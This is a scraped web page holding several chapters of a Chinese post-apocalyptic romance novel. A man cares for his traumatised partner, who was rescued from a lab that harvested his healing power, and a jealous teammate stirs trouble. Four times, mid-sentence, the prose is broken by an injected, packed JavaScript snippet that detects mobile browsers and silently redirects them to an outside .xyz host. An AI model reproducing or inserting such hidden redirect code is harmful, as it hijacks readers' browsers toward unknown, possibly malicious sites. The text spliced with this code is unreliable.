江入年看了看面前的这碗粥,说是粥,实际上绝大多数都是暖白的米汤,一勺子下去,只有不到半勺子的米。 “不吃,不饿。” 他本就不爱喝粥,何况是这种没什么味道的白粥。 “你从出来就没吃什么东西,怎么会不饿,”步景明哄他,“吃点,吃完了我给你找枣糕吃。” 说得真轻松,好像大灾变还没发生似的,江入年没把吐槽的话说出口,只盯着送到嘴边的勺子,很不情愿地张开了嘴。 但他确实不饿,又或者说,没有感觉到饿,但一勺一勺的粥被咽下去,胃里的饱胀感逐渐起来,江入年便推开了那把勺子。 “不吃了吗?”步景明低头看手里这碗仅受了皮外伤的粥,眉头很快地蹙起又放松,“那就先放着吧。” “对了,这是你尺码的衣服,先换上,免得着凉了。” 江入年一看,有两条棉质的裤子,和两件普通的长袖衫,甚至还有两条灰白的内裤。 准备得怪周全的。 他也不扭捏,直接掀开身上的白巾布就去拿衣服,倒打了步景明一个猝不及防,扭头的动作大得差点没闪了脖子。 “……我要去找向长霖说点事情,顺便给你找枣糕,你要不要跟我一起去?” 江入年换好了衣服,却没有解开缠在身上的绷带,他依然坐在床上,摇摇头,“你去吧。” “嗯,好好休息,这里很安全,”步景明走到房间门口,又回头看了一眼,“等我回来。” 说是去找向长霖,实际上步景明走到玄关一拉开门,就发现向长霖和柯九辛跟做贼似的守在门外,在看见他的瞬间纷纷立正站直。 “景明。” “老大!” 步景明奇怪地看着他俩,“你们在这里做什么。” 还能来做什么,当然是来听墙角的。向长霖和柯九辛对视一眼,默契地隐去了真实目的。 柯九辛:“诶老大,你对象怎么样了?说三个字好生分,我是不是可以直接叫嫂子啊?” 向长霖:“换个地方聊聊?看看你给我带什么情报回来了。” “他休息了,少去打扰他,”步景明回答完柯九辛的话,又冲向长霖点点头,“去你那吧。” “对了,怎么只有你们两个在,”步景明发现少了两个人,“田东宇和丘月月去干什么了?” “小宇子说累了,去隔壁屋睡觉去了,”柯九辛嘿嘿一笑,“月月的话,估计这会儿正忙着。” 步景明:“?” “她的天赋是可以和动物交流,基地里不少人还有动物同伴,发现她可以和动物沟通之后,就被抓去做翻译了。” 大灾变发生时,同样有不少家养宠物也开始“觉醒”,无法觉醒变为异变体的就不提了,能顺利觉醒天赋的,自然就成为主人的强大战力,这类有厉害宠物傍身的人比例在养宠人群里并不算少,天明基地的成员里就有好几个。 步景明微微颔首表示清楚了两位队友的去向,随后便和向长霖一起去往他的办公室,柯九辛闲得无聊,也跟着一起去了。 他们走出单元楼,来到原来是小区物业办事处,如今是基地事务管理处的平房,一路上有不少人和向长霖打招呼,还看见了站在路边撸着一只大狗的丘月月,那只狗的肩高都快有一个她高了。 “景明,你人既然已经找到了,之后怎么打算?”向长霖边走边聊起这个他一直很在意的问题,“就留在天明了吧?” 步景明没有急着回答他,这件事他确实还得再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706900|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做打算,想要安心在天明基地里生活,还有一件重要的事要处理。 “人确实找到了,但还有事要做。” 他们来到管理处,向长霖推开玻璃门,带他俩走到走廊尽头那间属于他的办公室。 沉重的实木门一关上,说话也终于可以放开一点了。 向长霖给他们各自倒了一杯水,他们就坐在办公室里的沙发上,并没有什么严肃的谈话氛围,更像是朋友之间的闲谈会。 “你还有什么事?”向长霖不解地道。 步景明没有接着这个话题往下聊,而是说起了“神赐,”山河基地里确实有‘神赐’的流通渠道,不仅是售卖,那里曾经有一个‘神赐’的制造点。” 听到这个,向长霖顿时收起了脸上不正经的笑容,“所以那个东西……” “对,和你听到的神奇传闻一样,它确实有这样的效果。” 向长霖倒吸一口凉气,随即充满期待地看向步景明,“那你有没有带点回来?” 步景明靠在黑色的软皮沙发上,拿起眼前的水杯喝了一口,“带了一支。” “快快,拿出来我瞅瞅。” “用掉了。” “……?” 柯九辛在一旁拍着大腿大笑,“向哥,老大用那个升级天赋去救他对象了。” “你,”向长霖捂着胸口装作心脏病发的模样,控诉道:“那你就带一支吗!不能多一支吗!” 没等步景明说话,他又道:“还有,为什么是‘曾经是制造点’?” 步景明放下了杯子,“那个实验室被我烧了。” “……” 向长霖一时说不出来话。 他对步景明的了解其实不算多深,虽然是大灾变前认识的,但也只能算点头之交,彼此躺在vx列表的普通关系,大灾变之后的交流倒是多了起来,他多少知道步景明并不是一个冲动行事的人,“神赐”对大灾变之后的人类有多重要步景明不会不清楚,若非情况严重,不应该会下这个手。 除非…… 再联想到柯九辛说他去救了人,这么看来,步景明就是从那什么实验室里救出来的人,而那个实验室还显然对他对象做了什么,才让他一把火把那儿点了。 向长霖没有再继续想下去。 “‘神赐’虽然是很重要的东西,但它来路不正,”步景明把之前邓星光和他说的事也一并告诉了向长霖,“这是一个泯灭了人性才创造出来的东西。” “不怕告诉你,我爱人就是这其中很重要的一环,没有他,‘神赐’就没法生产,”步景明的神情严肃起来,“所以,这背后的势力不会对此坐视不管善罢甘休。” “这就是我还要做的事,无论是出于报仇的目的还是确保他永远安全的目的,我必须和这背后的势力对上,还要有个了结。” 他话音落地,办公室陷入一阵凝滞的沉默。 向长霖搓了搓手指,想从口袋里摸根烟,手伸进去才想起来自己刚把烟盒里最后一根抽掉。 不管是邓星光所在的实验室,还是制造“神赐”的那个实验室,他们存在的时间都以年为单位,能在暗地里发展那么久而没有被曝光,除了有大灾变导致社会结构崩塌的原因之外,必然有一个强大的势力将这一切牢牢地压在了黑暗之中,没有让之暴露在大众视野下。 16. 心理医生 良久,向长霖才叹出一口气,笑了,“所以,现在正是你需要天明的时候,不是吗?” “更何况,我一早就说过,这个基地就应该是你的。” 假若没有步景明,五年前天明基地根本不会成立,而他也会死在那场内忧外患的争斗里。 “敌人不明,我不想拖天明下水,”步景明看向长霖急着反驳,又比了个手势意示他听自己说,“或者至少,天明应该成为底牌之一,不要这么早就暴露出来。” 他还没有调查清楚即将要面对的敌人究竟是什么量级,即便天明基地发展得很不错,能够自给自足,也拥有一定的战斗力,但如果,引来的灾祸强大到可以轻松摧毁天明,他又凭什么让那么多无忧无虑生活在这里的人们遭此一难? “唉,你这人……”向长霖知道自己无法说服他了,只能退而求其次向他强调,“真有事的时候一定要说,别不把我当兄弟,知道没?” 嘴角不自知地弯起一个极浅的弧度,步景明点点头,又说道:“我会先想办法调查,过两天就走。” “现在就决定要走?去哪?” “不好说,但必须要离开天明,”步景明望向窗外,看着基地内一片祥和景象,“假如我没猜错,很快会有人追来,他们不可能放弃年年的。” 年年。 向长霖也被这个称呼酸了一下,也太腻歪了。 “对了,我想知道,你为什么那么确信,那玩意没了你对象就生产不了了?他是技术人员?” “……” 步景明收回目光,垂下眼帘视线落到地面上,一时没有答话。 “向哥,你这个问题有点戳老大心窝子了,”柯九辛贴心地决定替老大回答这个问题,“其实是因为……” “因为他是‘神赐’本身。” 步景明到底还是自己开口回答了这个问题。 但,要从哪里解释起呢? 步景明惊觉其实自己了解的也不多,只是从丘月月嘴里听到了一些,可就算是那一点内容,就足够让他感到震惊、愤怒与心疼。 按丘月月的说法,他们给江入年的天赋能力起了个名字叫“强化治愈”,这确实是一个很浅显易懂的名字,而光从被稀释过的“神赐”就能看得出来,江入年本身的天赋会有多恐怖。 哪怕没有“神赐”的出现,在大灾变后的世界中拥有这样强大的能力,无异于怀璧其罪。 假如大灾变发生时他没有离开,而是陪在江入年的身旁,就一定会帮江入年把这样的能力瞒得死死的,直到江入年成长到拥有足够保护自己的实力。 步景明简单的和向长霖重复了一遍丘月月说过的话,撇去那些过于丧人性的内容,只说“神赐”是那强大天赋的弱化复制版,其背后的势力将江入年囚禁起来,从他身上获取制作这种药剂的材料。 向长霖也说不出话了。 他内心还有身为人的部分,这让他无法心安理得地使用这吃了他人血肉才制造出来的东西,哪怕这东西拥有堪称“生死人,肉白骨”的效果。 可他迈不过心里的坎,不代表别人也能做到。 假如他非要将步景明留下来,让天明基地拥有“神赐”本身,那天明就能守得住吗? 向长霖久违地意识到,天明还不够强,远远不够。 即便天明基地拥有守卫队,曾经想要来犯的人和异变体都会被毫不留情地打出去。 即便天明基地还拥有好几支狩猎队,附近方圆三公里的距离都能保证没有任何可以威胁到生命安全的异变体。 但也仅仅如此了,若要对比那几个知名的大基地,根本不够看的。 向长霖在心里疯狂挠自己的头发,他也想不到啊,自己兄弟居然会牵连上这么麻烦的事,他当初把天明发展到自给自足吃喝不愁的情况,自认为可以让步景明在这末日中还能保证一定的生活水平时,还自豪了好一段时间呢。 “没事,不管怎么说,只要有事尽管开口,好歹天明也是一个不小的基地,我回头也找人去调查一下,看看能不能查到什么有用的线索。” 向长霖挪了挪屁股,靠过去拍了拍步景明的肩膀,“还有你家那位,要不要找个医生来看看?” 以江入年的天赋来看,普通的医生可能派不上用场,就是养一段时间的事,倒是…… 想起在那双眼睛里看到的复杂情绪,步景明摇摇头,问道:“有没有以前是做心理医生的?” 向长霖一噎,“没有。” 都末日了,心理医生听起来多少有点奢侈,大多数人连生存都艰难,哪有人管心理问题。 意料之中的答案,步景明没再多说什么,只默默将这件事记在了心里,打算到时候找人调查实验室背后势力的时候一起找找。 说起来,想要了解实验室,直接去问江入年应该可以得到最有用的情报。 趴在沙发扶手上玩了半晌头发的柯九辛,见屋子里另外两个男人都不说话了,便提醒道:“快中午了,咱们要不先去吃饭?” 早上那顿随便凑合了,也没吃多少,这会儿已经饿了。 “瞧我,都没注意时间,”向长霖正要起身,忽然听见门外传来两声敲门声,“请进。” 门被推开,出现的人竟然是邓星光,邓星光看见步景明就激动了起来,“恩人!听说你们回来了,我就想着来见见你们。” 小孩儿在天明待这一阵,整个人的精气神都不一样了,凌乱肮脏的头发全推光,只剩一个布满毛茬的脑袋,身上衣服也穿得干干净净的,看起来过得还不错。 “小邓现在可是狩猎三队的成员,虽然不会什么战斗技巧,但是胜在天赋很合适,以及很努力的在学习,”向长霖站起来,过去搂着邓星光的脖子,“你来得真赶巧,正好到饭点,走吧,一起吃一顿。” “那我通知一下月月他们,让他们直接到厨房去。” 柯九辛说着,就用起了自己的天赋,她先前跟丘月月聊得开心的时候,就顺便加上了一个精神链接,这会儿就可以直接大脑直连:“月月,小宇子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706901|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们搁哪儿呢?该去厨房吃午饭了!” 丘月月很快就回应道:“马上来,等等,厨房?” “哦对,你不知道呢,你现在在哪?我告诉你要咋走。” “我回到房间了,我已经好久没见过那么多宠物了,可给我累得。” 柯九辛乐了,告诉她要怎么找到厨房,丘月月给她回了个OK之后,她才想起来怎么田东宇一直没吭声。 “小宇子?小宇子?” 她都跟着步景明他们走出管理处了,才听到田东宇的声音,“……你们已经到厨房了吗?马上来。” 小宇子搞什么呢,柯九辛摇摇头。 切断柯九辛的精神联络,田东宇看了看面前从始至终坐在床上没动过的江入年,扯开嘴角笑了笑,“辛姐叫我们去吃饭了,要不要一起?” 江入年没理他,慢吞吞地将床上另一个枕头拿过来,叠到自己正靠着的枕头上,调整了一个舒服的姿势,闭上了眼。 “……” 田东宇脸上的表情僵住,唇边弧度半晌才顺利收回,放平,他暗地里咬咬牙,转身离开了房间。 他循着记忆找到公共厨房,发现步景明一行人已经在同一张桌子上落座,便赶紧走过去,“抱歉,来晚了。” 这一顿就没有上次那么丰盛了,但相较于别人甚至是那些小基地里的人而言,有菜有肉还有白米饭,已经是许多人根本够不到的高度。 饭桌上也很适合讲一些不那么严肃隐秘的话题,步景明就在这个时候和几位队友说:“可能两天,也可能三天,我们就要离开天明了。” “这么快?”丘月月扶了扶眼镜,“要去哪?” “我会在出发之前决定一个目标,”步景明放下筷子,正色道:“各位,我要再一次强调,我会去追查那个实验室背后的势力,敌人不仅在暗处,还有很强大的实力,我无法保障你们的生命安全。” “你们不必被卷入进来,在天明可以得到一个很不错的生活环境。” 餐桌上的几人面面相觑,柯九辛率先夹了一筷子肉片放到步景明的碗里,“知道了知道了,老大,你变得啰嗦很多哦。” 田东宇没说话,只冲着步景明点点头。 丘月月则是好奇地道:“诶,这话也是对我说的吗?” “当然,无论是你的科研能力还是天赋能力,对天明而言都会是一个不错的人才,”步景明和向长霖交换了一个眼神,“留在天明可以保证你的安全。” “唔,那我倒是需要好好想想了。” 丘月月故作思考的模样,两秒后,她说:“我决定了,要跟着你们一起。” 倒让步景明有些意外,“你也不用急着做决定。” “不,其实之前就想好了,”丘月月笑着说:“说得简单一点,我能确认你的实力足够强,在你身边的话,安全系数更高。” “说得复杂一点……我也想为A01做点什么。” 不是江入年,而是想为那个实验室里的A01做点什么。 17. 混乱 饭后,步景明拎着一些打包好的饭菜回到房中,穿过客厅来到主卧,推开房门的那一刻瞳孔骤缩。 只见房内一片混乱,床上被褥与枕头扭曲交叠,还掉了半边落到地面,书桌前的椅子也横倒下来,装饰用的绿植四处滚落,盆里土壤洒了一地。 步景明第一反应是实验室的人已经赶来,但很快意识到不对,他强迫大脑冷静,放下手里的饭菜,仔细观察了一下乱糟糟的房间,看出了一条行动痕迹。 他从床边慢慢随着痕迹向衣柜走去,在衣柜门前站定,犹豫两秒,还是抬手在柜门上敲了敲,“年年?” “……” 屋中安静,步景明可以轻易听到衣柜中传来的轻微呼吸声,确定人没丢,步景明就放松了不少,又敲了两下,“年年?怎么了?” 里头动静随着敲击声短暂地停止了片刻,接着衣柜门被轻轻地从内向外顶了一下。 步景明耐心地等了等,好一会儿才反应过来对方不知出于什么原因,似乎没有推开门自己出来的力气。 他慢慢拉开门,光亮从逐渐增大的缝隙中照进漆黑的衣柜,江入年蜷缩着,躲在悬挂的衣服后面,头发凌乱,眼角通红,脸上有眼泪低落的痕迹。 江入年微微垂着脑袋,双目无神,直到那光亮吸引了他的视线,他循着光慢慢扭过头,看见步景明的那一刻笑了。 “景明,好久没有看见你了。” “我好想你。” 步景明伸出的,想要拉他站起的手蓦然停住。 ……什么意思?为什么要说好久没有看见他? 心脏频率生生乱了一拍,他看见江入年神色自若地抹掉了脸上的泪痕,摸着喉咙轻轻咳嗽两声,“这么久不见,一来就又让你看见我这幅糟糕的样子,在你面前都没有面子可言了。” 似乎是保持一个姿势太久,肌肉僵硬,他努力了两次都没能自己站起来,只好冲步景明张开双手,“抱我。” 步景明的大脑此刻宛如在大海中遭遇强风暴的船,混乱而迷茫,但他下意识半蹲下去,接住向他扑来的江入年。 “我好像睡了好久,”江入年任由自己被抱出衣柜,转头看见明亮的窗户,话音中竟然有些许感慨,“外面,是人造光景吗?实验室的科技水平已经这么高了吗。” “……” 不对劲,江入年的记忆似乎回到了他还在实验室里的时候,步景明嘴唇微动,无数个念头化为数不清的话语一起往外蹦,最终却通通在舌根深处被堵死,一个字都无法说出口。 他不说话,江入年也不奇怪,只在他想要将自己放到床上时,伸手攥住他的衣领,“别走。” “……我不走。” 得到承诺的江入年弯了弯眼眸,低下头寻到步景明的手拉住,“景明,你变得比上一次真实了,这是不是说明……” “我距离一个完完全全的疯子越来越近了?” 步景明陪着他坐在床边,感受着他温度微凉的手心,艰难地找到自己的声音,“别这么说,年年。你……你认为我是假的?” “不是吗?”他笑意依旧,“你每次都只有在我最想你的时候才会出现,而且他们都看不到你。” “……” “还好他们看不到,否则一定会把你从我身边抢走,”他说着说着,唇角的弧度未变,却有两颗剔透的珠子顺着脸颊滑落,“景明,我被抢走了好多东西,但那些我都可以不要,只有你,谁都别想抢走你。” 珠子落到手上碎成几瓣,连带着步景明的心也被砸碎了。 “别哭,不要哭,没有人可以从你身边抢走我,我发誓。” 步景明捧起他的脸,毫无章法地替他擦掉那些眼泪,江入年的反应变得迟钝起来,他用力眨了眨眼,半晌才开口:“……我哭了吗?没事的,景明,没事的,我其实没有很难过。” “能再见到你,我很开心,真的很开心。” 自己的眼前也模糊了,步景明的呼吸颤抖着,用力将江入年拥进怀里,咬着牙挤出一句话来,“年年,先别说话了,你睡一觉,好不好?” “……现在吗?为什么?”江入年的脸埋在他的颈窝里,传出来的声音也闷闷的,“可我还不困,而且,如果睡醒以后又看不到你了怎么办?” “我保证,无论什么时候,你睁开眼都可以看到我。” 步景明维持着这样的姿势,直到听见江入年的呼吸起伏变得平稳,他才轻手轻脚地把人放开,单手整理出一个空处,扶着江入年在枕头上躺下。 直至此刻,他才有多余的脑力来思索江入年前后为什么会突然发生这么大的变化,是有什么东西刺激到江入年了吗? 而且,江入年的精神状态极度不稳定,他不知从何时开始会出现幻觉,而自己正是他幻觉的一部分。 步景明不敢想,当江入年第一次看见自己时会有多欣喜若狂,又在知道那只是一个幻觉,无法救他逃离时会有多绝望。 这会是江入年憎恨自己的一个理由吗?步景明不知道。 江入年所经历的那噩梦般的五年,在此刻悄然向步景明展露出一个微小的角落。 步景明深深地吸了一口气,起身将混乱的房间简单收拾了一下,随后轻手轻脚走出房间,但没有关紧房门,而是留了一条缝隙。 他本想先去找丘月月,但顾及和江入年的约定,只得先找另一位。 步景明摸出联络器,调到其中一个频道,联系了一个许久未联系的人。 “哥,好久没接到你电话了。” 对面传来一个活力满满的声音,步景明拿着联络器走到阳台,尽量避免吵到熟睡的江入年,“李焕卿,我需要你帮我查点东西。” “行,什么事?还和哥夫有关吗?对了,人找到了没?” “找到了,”步景明靠在窗边,眼睛一眨不眨地看着主卧的方向,“两件事,一,找个心理医生或者精神科医生,二,查查‘神赐’的背后是哪个基地,找出话语权最大的人。” “小问题,不过,心理医生?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706902|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李焕卿敏锐的意识到这是为谁而提出的要求,“哥夫怎么了吗?” “……以后有机会告诉你,两天内给我答复。” 李焕卿还是没全猜对,其实两件事都是为江入年。 步景明没多说什么,以这小子的脑子,第二件事能查出来,基本上就能猜得八九不离十了。 在挂断通讯的同时,他的脑子里响起了柯九辛的声音。 “老大,你在屋里不,月月说有话想和你说,我俩能过来不?” “就这样说吧,我走不开,你们过来会吵到他。” 老大这样算不算顶级恋爱脑,柯九辛暗自腹诽,将丘月月一起拉进群聊,“你俩聊着。” “是这样,我来提供点线索,虽然不知道有多少用,”丘月月组织着语言,“山河基地的那个实验室,成立的目的只有一个,就是A01项目,也就是专门为了他而造的。” 丘月月一边回忆一边说着,“最初的时候,实验室里的人还不多,当时的主负责人不是我,是一个没透露过名字的男人。” 一个男人。 步景明很快想到之前在老人那里得到的情报,怀疑这两个人大概率就是同一个人。 “不知道名字,那长相呢?” “我当时刚进实验室不久,基本和打杂的没什么区别,很多事都不让干,也没正眼见过他,不过有次在实验室和他擦肩而过,很高,估摸能有一米九。” “后来,我就被慢慢提拔上去,直到有一天他说项目不需要他盯着了,要去做别的事,就把主负责人的位置交给我了。” “哦对,”她补充道:“我有不小心听到一点消息,那人和卫民基地的高层通过话。” 卫民基地,步景明对这个基地有点印象,是目前的三大基地之一,很出名,有不少人都想成为这个基地的成员。 而很让人无力的一点是,无论是山河基地,还是卫民基地,步景明都去过。 丘月月最后说的一句话是,想知道那个男人长什么样,可能还是问他最快。 直接问江入年的确是最快捷的方法,但步景明总忍不住担心,会不会刺激到江入年。 结束谈话,步景明重新回到卧室里,却不想一推开门就看见侧躺着的江入年睁着一双眼睛,也不知道什么时候醒的。 步景明看得出来,现在的江入年是清醒的,“我吵到你了吗?” “……没有,本来也不困。” 步景明走到床边,随手拉过书桌前的椅子坐下,有些想问之间发生了什么,为什么江入年失控到躲进衣柜里,但又不知如何开口,沉默片刻,另外找了个话题,“眼睛,怎么变成这样了?” 闻言,江入年抬手摸了摸自己的睫毛,“天赋吧,高热退了以后就变成这样了。” 拜天赋所赐,他整个人的存在顿时变得惹眼起来,以至于不仅没能去找步景明,自己反而被恶魔困住,无法脱身。 “对了,”江入年似是忽然想起什么,“你吃过我的肉了吗?” 18. 偏爱 “……” 步景明一下没反应过来。 他本以为江入年的变化只有瞳色,现在看来,就连性格也有了不小的改变。 尽管五年的时间确实可以让一个人变化很大,但……他们青梅竹马长大,步景明很难想象江入年用这样一副故意的语气说出如此惊悚的话来。 见步景明不说话,江入年又道:“没有吗?还是不知道?” “……” 步景明难得无措,欲言又止。 江入年身上淡淡的违和感的来因,他好像突然明白了。 江入年在攻击他,无论是否处于有意,他都在干相识近二十年来从未干过的事:恶意的,攻击着步景明。 是因为……还在责怪他吧,是他没有履行曾经许下的承诺,没有保护好对方,让江入年遭受了五年的灾祸。 步景明思考着,沉默了,而江入年这才后知后觉地发现自己的异样,他的呼吸逐渐变得明显而急促,眼神躲闪,干脆抬手用被子遮住了自己,又开始道歉:“对不起,我……” 分明是被伤害的痛苦的一方,却在频频道歉,步景明摇摇头,伸手想将被子拿开,却没有扯动。 “不用向我道歉,你知道的,我永远不会怪你。” 他听见搁这儿棉絮传出来的,难抑哭腔的声音,“不要看……别看我。” 江入年小的时候很爱哭,疼了,委屈了,都要哭,以至于步景明研究出了一套哄他的程序,只要照着做,就能百分百收获一个破涕为笑的江入年。 可惜,这套程序上了高中就没怎么用过了,半大小子终于有了点包袱,问就是男儿有泪不轻弹,步景明还一度感到很惋惜。 如果他们正常的度过了五年的时光,哪怕是大灾变后的世界,难得看到爱人露出一副脆弱的模样,步景明眼下的心情大概会很不错,他很受用江入年这种对他的需要,对他的依赖。 但江入年的内心已经背负了太多他不知道的东西,那些过去堆成一座高高的垃圾山,发臭、腐烂,黑水漫延成河,阻拦一切试图靠近的人。 哪怕是步景明,也无法跨过这道深深的鸿沟。 “……” 江入年其实不想哭,但他从很早开始,就已经无法控制自己的一些行为了。 能再见到步景明,脱离那个牢笼,他打从心里感到喜悦,可这喜悦又很快被吞噬,变成黑水的一部分,他沉在黑水里,口鼻都被污染,再一点点浸透到皮肉,到骨髓。 他的天赋驱逐不了成片的黑水,填补不了这满目的疮痍。 他能拯救那么多人,却独独拯救不了自己。 步景明暗暗叹了口气,没有强行把江入年拽出来,而是隔着被子抱住了他,等到啜泣停息,等到不再感受到颤抖,步景明这才轻轻掀起被子的一角,“闷不闷?透点气,别好不容易救出来的,在这儿憋出毛病了。” 江入年没理他,被子下静悄悄的,跟没有人似的。 步景明又说:“我问了一下,这个基地里没有枣树,没有枣子这种东西,可能要去别的大基地找。” 他轻描淡写的语气很快打散了江入年难过的情绪,甚至让江入年对此感到奇怪,人类都沦落到如今的境遇,这人怎么还能说得像从前那样简单。 被子里稀少的空气早就被江入年哭得差不多了,这会儿也在偷偷凑到步景明掀开的那个口子处呼吸,却不想下一秒,从这个口子探进来一只手,捏了把江入年的鼻子。 “年年,之前在楼下吃午饭的时候没叫你,人太多,又乱又吵,给你带了点好吃的上来,要不要吃?” “……” 江入年默默地掀开被子,见他恢复正常,步景明也就放开他,去拿了先前从公共厨房打包带回来的饭菜,是一个玻璃的小饭盒和一个不锈钢保温桶。 其实也没带多少,饭盒里只浅浅的团了一团米饭,无论是炒青菜还是炒肉片,都是很少的量,倒是保温桶里装了不少,是热腾腾的骨头汤。 其实汤才是步景明想带的,但是只带这个太奇怪,又想着江入年会不会想吃点别的,就还是多带了一个饭盒。 “他们据说熬了一上午,骨头都酥了,很好喝。” 之前让厨房送粥上来时就有小碗,步景明看了眼碗里还剩的白粥,干脆自己两口喝完,再拿这个碗盛了骨头汤,又将椅子拉过来充当临时台面,将饭盒也打开放在上面,自己则是和江入年一起坐在床边,给他举着小碗,“尝尝?” 江入年垂眸,看着汤碗里隐隐倒映出自己的脸,好半晌才拿起勺子,舀了一勺送到嘴里。 温热鲜甜的骨头汤很快滑过舌头落进食管,悄无声息地进入胃囊,也许是他的胃实在太久没有来过客人,以至于现在哪怕是一口汤,都有点让他犯恶心。 但江入年什么都没说,只是喝了一口,又喝一口,然后一时走了神,就让汤汁走错地方,呛进了气管里。 “咳咳咳!” 江入年咳得惊天动地,满脸通红,身体都忍不住蜷成了一只虾,步景明手上的碗都差点让他打翻。 好一会儿,江入年才在步景明拍着背的安抚下止住咳,只是方才好不容易感受到的一点生气似乎又被咳得一干二净,整个人显得有些恹恹的。 再看那碗汤,顿时一丁点进食的欲望都没了,江入年拒绝再吃,步景明也只好将这些全都收好放到桌上,转身背对江入年时,不禁皱了皱眉,眼里流露出几分担忧。 江入年的情况肯定急不来,所以步景明也很快调整好了自己的情绪,重新坐回床边时,他伸手轻轻托起江入年缠着绷带的手臂,“绷带不拆吗?一直缠着不难受?” 他不说,江入年都忘了绷带在自己身上完全属于无用的东西,除了最初用作止血外,大概只能浅薄的代表一下那些人为数不多的良心。 拆不拆的,属实无所谓,但江入年扭头看见步景明眼里闪烁的情绪,从里面辨认出代表心疼的一部分后,决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706903|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定让绷带继续留着吧。 “不拆。” “那就留着。” 眼见步景明毫不质疑地认同他的想法,江入年想了想,又说:“景明,你的队友,挺有意思的。” “……谁来找你了。” 几乎是话音落地的瞬间,步景明就已经猜到是谁,再一联想到对方可能就是趁自己不在的时候过来说了什么,导致江入年失控,脸色顿时沉了下来,“他跟你说什么了?” 江入年挪了挪位置,拿起两个枕头垫在身后,放松身子靠在床头,“没说什么。” “是没有,还是不想告诉我?” “只是打了个招呼。” 既然江入年不想说,步景明也就没追问,只道:“你讨厌他吗?” 江入年避开他直勾勾地视线,扭头去看渐渐靠近山头的太阳,“为什么这么问?” “你不喜欢他,那就让他留在天明。” 言下之意,这个小队就没有他的位置了。 江入年又是一阵沉默,他并没有感觉到自己对此有什么特别的情绪,虽然对方自顾自地找过来,又自顾自地说了一堆话,可实际上,江入年并不为此生气,又或是产生些别的什么很大的情绪波动。 尽管对方提到了步景明。 步景明想把这件事的决定权交给江入年,但江入年似乎不想要,只说了一句,“我不知道。” “行,我知道了。” * 其实,很偶尔的时候,步景明会和他们说起自己的爱人。 虽然绝大多数的时候,也是柯九辛追着问了,才会说起那么一点,但可以很轻易地拼凑出一个简单的形状:腼腆,善良,友好,热爱生活,热爱音乐,会自己写歌,富有同情心,成绩优良,长相清秀的男孩子。 田东宇总忍不住在心里比对,觉得自己也差不多可以按进这样的模子里,如果步景明能喜欢那个人,应该也能喜欢自己吧? 可他不敢说,不敢提,因为步景明表现出来的偏执肉眼可见,他们之间哪怕另一位主人公不在,也完全容不下一个新的角色。 那能如何呢?他还能如何呢,只是自欺欺人地跟在步景明的队伍里,祈祷着心上人的身边还可以给自己留一个位置,哪怕不是他想要的那种。 满打满算也有两年了,田东宇从一开始提心吊胆,到后来渐渐放松心神,他想,也许那个人早就死了。 步景明又能坚持多久呢?五年,七年,十年,总会有放弃的那一天吧? 等到那个时候,兴许他就能看自己一眼了。 然而,梦醒的那个晚上,宛如一个玻璃屋寸寸破裂,碎碴子从天而降,将他划得遍体鳞伤。 步景明在整个救援计划中展现了惊人的行动力,又在成功救出人之后,表现出他们从未见过的温和与柔情。 田东宇第一次知道,爱着一个人的步景明是这样一副模样,对方完全被他放在心尖上,偏爱得那样明显。 19. 袭击 他完全没机会了吗?田东宇本来是这么想的,直到他趁步景明不在,偷偷地走进了房间。 他其实没想到江入年清醒了,他们彼此对视很久,他才回过神,故作友好地和江入年说了些话。 田东宇没料到,接下来,他就被江入年嘲讽了。 这哪里是一个腼腆友好的少年,对方轻易看透了他的心思,毫不留情地揭穿他此行的目的,在他面前耀武扬威。 “喜欢景明吗?” “就算没有我,他也不会喜欢上你的。” “你应该庆幸我还活着,否则,你要怎么应对一个死掉的白月光?” 更可气的是,江入年在说这些话时,压根没用正眼瞧过他。 田东宇气得差点没把后槽牙咬碎,这样一个情绪多变的,精神完全不稳定的神经病,怎么回应步景明的爱?又凭什么能得到步景明的爱? 那个人根本不配! 